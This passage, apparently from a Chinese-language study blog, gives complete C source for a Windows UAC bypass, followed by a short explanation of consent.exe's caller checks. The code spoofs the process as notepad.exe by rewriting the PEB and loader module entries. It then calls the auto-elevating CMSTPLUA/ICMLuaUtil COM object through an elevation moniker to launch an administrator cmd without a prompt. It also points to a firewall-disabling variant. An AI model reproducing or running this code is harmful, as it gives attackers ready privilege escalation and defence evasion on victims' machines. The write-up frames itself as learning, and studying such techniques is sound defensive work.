ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG_PTR ImageProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PVOID PostProcessInitRoutine; PVOID TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PVOID AppCompatInfo; UNICODE_STRING CSDVersion; PVOID ActivationContextData; PVOID ProcessAssemblyStorageMap; PVOID SystemDefaultActivationContextData; PVOID SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PVOID *FlsCallback; LIST_ENTRY FlsListHead; PVOID FlsBitmap; ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; ULONG FlsHighIndex; PVOID WerRegistrationData; PVOID WerShipAssertPtr; PVOID pContextData; PVOID pImageHeaderHash; union { ULONG TracingFlags; struct { ULONG HeapTracingEnabled : 1; ULONG CritSecTracingEnabled : 1; ULONG LibLoaderTracingEnabled : 1; ULONG SpareTracingBits : 29; }; }; ULONGLONG CsrServerReadOnlySharedMemoryBase; } PEB, *PPEB; typedef struct _GDI_TEB_BATCH { ULONG Offset; UCHAR Alignment[4]; ULONG_PTR HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH, *PGDI_TEB_BATCH; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PSTR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME *Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; NTSTATUS ExceptionCode; PVOID ActivationContextStackPointer; #if defined(_M_X64) UCHAR SpareBytes[24]; #else UCHAR SpareBytes[36]; #endif ULONG TxFsContext; GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; HANDLE GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; ULONG_PTR Win32ClientInfo[62]; PVOID glDispatchTable[233]; ULONG_PTR glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; ULONG HardErrorMode; #if defined(_M_X64) PVOID Instrumentation[11]; #else PVOID Instrumentation[9]; #endif GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; PVOID WinSockData; ULONG GdiBatchCount; union { PROCESSOR_NUMBER CurrentIdealProcessor; ULONG IdealProcessorValue; struct { UCHAR ReservedPad0; UCHAR ReservedPad1; UCHAR ReservedPad2; UCHAR IdealProcessor; }; }; ULONG GuaranteedStackBytes; PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; PVOID ThreadPoolData; PVOID *TlsExpansionSlots; #if defined(_M_X64) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG MuiGeneration; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; PVOID FlsData; PVOID PreferredLanguages; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { USHORT CrossTebFlags; USHORT SpareCrossTebBits : 16; }; union { USHORT SameTebFlags; struct { USHORT SafeThunkCall : 1; USHORT InDebugPrint : 1; USHORT HasFiberData : 1; USHORT SkipThreadAttach : 1; USHORT WerInShipAssertCode : 1; USHORT RanProcessInit : 1; USHORT ClonedThread : 1; USHORT SuppressDebugMsg : 1; USHORT DisableUserStackWalk : 1; USHORT RtlExceptionAttached : 1; USHORT InitialThread : 1; USHORT SpareSameTebBits : 1; }; }; PVOID TxnScopeEnterCallback; PVOID TxnScopeExitCallback; PVOID TxnScopeContext; ULONG LockCount; ULONG SpareUlong0; PVOID ResourceRetValue; } TEB, *PTEB; typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)( _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, _In_ PVOID Context, _Inout_ BOOLEAN *StopEnumeration ); typedef PVOID NTAPI RTLINITUNICODESTRING( _Inout_ PUNICODE_STRING DestinationString, _In_opt_ PCWSTR SourceString ); typedef RTLINITUNICODESTRING FAR * LPRTLINITUNICODESTRING; LPRTLINITUNICODESTRING RtlInitUnicodeString; typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION( _In_ PRTL_CRITICAL_SECTION CriticalSection ); typedef RTLENTERCRITICALSECTION FAR * LPRTLENTERCRITICALSECTION; LPRTLENTERCRITICALSECTION RtlEnterCriticalSection; typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION( _In_ PRTL_CRITICAL_SECTION CriticalSection ); typedef RTLLEAVECRITICALSECTION FAR * LPRTLLEAVECRITICALSECTION; LPRTLLEAVECRITICALSECTION RtlLeaveCriticalSection; typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES( _In_opt_ ULONG Flags, _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction, _In_opt_ PVOID Context); typedef LDRENUMERATELOADEDMODULES FAR * LPLDRENUMERATELOADEDMODULES; LPLDRENUMERATELOADEDMODULES LdrEnumerateLoadedModules; typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY( _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect ); typedef NTALLOCATEVIRTUALMEMORY FAR * LPNTALLOCATEVIRTUALMEMORY; LPNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory; LPWSTR g_lpszExplorer2 = TEXT("C:\\Windows\\notepad.exe"); VOID NTAPI supxLdrEnumModulesCallback( _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, _In_ PVOID Context, _Inout_ BOOLEAN *StopEnumeration ) { PPEB Peb = (PPEB)Context; if (DataTableEntry->DllBase == Peb->ImageBaseAddress) { RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2); RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"notepad.exe");//explorer *StopEnumeration = TRUE; } else { *StopEnumeration = FALSE; } } __inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } VOID supMasqueradeProcess( VOID ) { NTSTATUS Status; PPEB Peb = NtCurrentPeb(); SIZE_T RegionSize; PVOID g_lpszExplorer = NULL; RegionSize = 0x1000; Status = NtAllocateVirtualMemory( NtCurrentProcess(), &g_lpszExplorer, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (NT_SUCCESS(Status)) { RtlEnterCriticalSection(Peb->FastPebLock); RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2); RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2); RtlLeaveCriticalSection(Peb->FastPebLock); LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb); } } #define T_CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" #define T_IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}" #define T_ELEVATION_MONIKER_ADMIN L"Elevation:Administrator!new:" #define UCM_DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ EXTERN_C const GUID DECLSPEC_SELECTANY name \ = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } UCM_DEFINE_GUID(IID_ICMLuaUtil, 0x6EDD6D74, 0xC007, 0x4E75, 0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C); typedef interface ICMLuaUtil ICMLuaUtil; typedef struct ICMLuaUtilVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE* QueryInterface)( __RPC__in ICMLuaUtil* This, __RPC__in REFIID riid, _COM_Outptr_ void** ppvObject); ULONG(STDMETHODCALLTYPE* AddRef)( __RPC__in ICMLuaUtil* This); ULONG(STDMETHODCALLTYPE* Release)( __RPC__in ICMLuaUtil* This); //incomplete definition HRESULT(STDMETHODCALLTYPE* SetRasCredentials)( __RPC__in ICMLuaUtil* This); //incomplete definition HRESULT(STDMETHODCALLTYPE* SetRasEntryProperties)( __RPC__in ICMLuaUtil* This); //incomplete definition HRESULT(STDMETHODCALLTYPE* DeleteRasEntry)( __RPC__in ICMLuaUtil* This); //incomplete definition HRESULT(STDMETHODCALLTYPE* LaunchInfSection)( __RPC__in ICMLuaUtil* This); //incomplete definition HRESULT(STDMETHODCALLTYPE* LaunchInfSectionEx)( __RPC__in ICMLuaUtil* This); //incomplete definition HRESULT(STDMETHODCALLTYPE* CreateLayerDirectory)( __RPC__in ICMLuaUtil* This); HRESULT(STDMETHODCALLTYPE* ShellExec)( __RPC__in ICMLuaUtil* This, _In_ LPCTSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ ULONG fMask, _In_ ULONG nShow); END_INTERFACE } *PICMLuaUtilVtbl; interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl; }; HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid) { BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM环境 ::CoInitialize(NULL); // 构造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 设置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER;// CLSCTX_INPROC_SERVER;//CLSCTX_LOCAL_SERVER;//; // 创建名称对象并获取COM对象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr; } BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable) { HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil *CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(/*CLSID_CMSTPLUA*/L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", &clsidICMLuaUtil); ::IIDFromString(/*IID_ICMLuaUtil*/L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &iidICMLuaUtil); // 提权 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; } // 启动程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; } bRet = TRUE; } while (FALSE); // 释放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet; } int main() { HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll"); if (hinstStub) { RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString"); if (!RtlInitUnicodeString) { printf("Could not find RtlInitUnicodeString entry point in NTDLL.DLL"); exit(0); } RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(hinstStub, "RtlEnterCriticalSection"); if (!RtlEnterCriticalSection) { printf("Could not find RtlEnterCriticalSection entry point in NTDLL.DLL"); exit(0); } RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(hinstStub, "RtlLeaveCriticalSection"); if (!RtlLeaveCriticalSection) { printf("Could not find RtlLeaveCriticalSection entry point in NTDLL.DLL"); exit(0); } LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(hinstStub, "LdrEnumerateLoadedModules"); if (!LdrEnumerateLoadedModules) { printf("Could not find LdrEnumerateLoadedModules entry point in NTDLL.DLL"); exit(0); } NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { printf("Could not find NtAllocateVirtualMemory entry point in NTDLL.DLL"); exit(0); } } else { printf("Could not GetModuleHandle of NTDLL.DLL"); exit(0); } supMasqueradeProcess(); CMLuaUtilBypassUAC(L"cmd"); getchar(); return 0; }
2.3 类似的提权COM
//NetFwPolicy2 //参考:https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp
0x3 权限分析
以ICMLuaUtil提权执行为例,COM提权验权过程如下:
3.1 COM类提权会先通过APPINFO服务创建consent.exe,对发起来源进程的签名、路径进行校验
校验条件如下: 对于未提权的来源进程,校验文件路径是否为c:\windows目录下的微软文件,否则会权限校验失败,弹出提权窗
3.2 校验通过后,创建COM guid命令行的dllhost.exe进程(已提权)
3.3 dllhost.exe执行ICMLuaUtil->ShellExecute
0x4 小结
本文只是对COM提权的一个学习,可利用的提权类还是有很多的,主要方法还是通过CoCreateInstanceAsAdmin创建提权类,并且在consent.exe中校验来源进程的时候,通过可信进程进行绕过来生成一个提权的dllhost,对提权com类进行执行